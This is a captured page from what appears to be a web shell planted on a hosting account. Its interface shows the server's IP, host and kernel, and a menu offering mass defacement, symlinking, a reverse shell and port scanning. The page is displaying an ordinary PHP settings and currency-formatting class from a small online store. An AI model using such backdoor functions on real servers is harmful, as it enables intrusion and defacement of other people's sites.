Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
trabajostoremaylor
/
app
/
Services
/
Viewing: SiteSettings.php
<?php namespace App\Services; use App\Storage\Database; use PDO; class SiteSettings { private const DEFAULTS = [ 'id' => 1, 'site_name' => 'Trabajostore', 'site_logo' => '/assets/img/favicon.png', 'currency_id' => null, 'currency_code' => 'USD', 'currency_symbol' => '$', 'currency_name' => 'Dólar estadounidense', 'currency_position' => 'before', ]; private static ?array $cached = null; private static function connection(): PDO { return Database::connection(); } public static function get(): array { if (self::$cached !== null) { return self::$cached; } $sql = 'SELECT s.id, s.site_name, s.site_logo, s.currency_id, c.code AS currency_code, c.symbol AS currency_symbol, c.name AS currency_name, c.position AS currency_position FROM site_settings s LEFT JOIN currencies c ON s.currency_id = c.id ORDER BY s.id ASC LIMIT 1'; $stmt = self::connection()->query($sql); $settings = $stmt->fetch() ?: []; self::$cached = array_merge(self::DEFAULTS, array_filter($settings, static fn($v) => $v !== null)); return self::$cached; } public static function update(array $data): void { $payload = [ 'site_name' => trim($data['site_name'] ?? self::DEFAULTS['site_name']) ?: self::DEFAULTS['site_name'], 'site_logo' => $data['site_logo'] ?? self::DEFAULTS['site_logo'], 'currency_id' => !empty($data['currency_id']) ? (int) $data['currency_id'] : null, ]; $sql = 'INSERT INTO site_settings (id, site_name, site_logo, currency_id) VALUES (1, :site_name, :site_logo, :currency_id) ON DUPLICATE KEY UPDATE site_name = VALUES(site_name), site_logo = VALUES(site_logo), currency_id = VALUES(currency_id)'; $stmt = self::connection()->prepare($sql); $stmt->execute($payload); self::$cached = null; } /** * Returns all available currencies from the database. */ public static function currencies(): array { $stmt = self::connection()->query('SELECT id, code, name, symbol, position FROM currencies ORDER BY name ASC'); return $stmt->fetchAll(); } /** * Formats a numeric amount using the system's active currency. */ public static function formatPrice(float $amount, int $decimals = 0): string { $settings = self::get(); $symbol = $settings['currency_symbol'] ?? '$'; $position = $settings['currency_position'] ?? 'before'; $formatted = number_format($amount, $decimals, ',', '.'); if ($amount == 0) { return 'Gratis'; } return $position === 'before' ? $symbol . $formatted : $formatted . ' ' . $symbol; } public static function formatText(string $text): string { if (empty(trim($text))) { return $text; } $settings = self::get(); $symbol = $settings['currency_symbol'] ?? '$'; $position = $settings['currency_position'] ?? 'before'; if ($position === 'after') { // Replace $NUMBER with NUMBER symbol return preg_replace('/\$([0-9\.,]+[KkMmBbtT]?)/', '$1 ' . $symbol, $text); } // Replace $ with the chosen symbol return str_replace('$', $symbol, $text); } }
Coded With 💗 by
0x6ick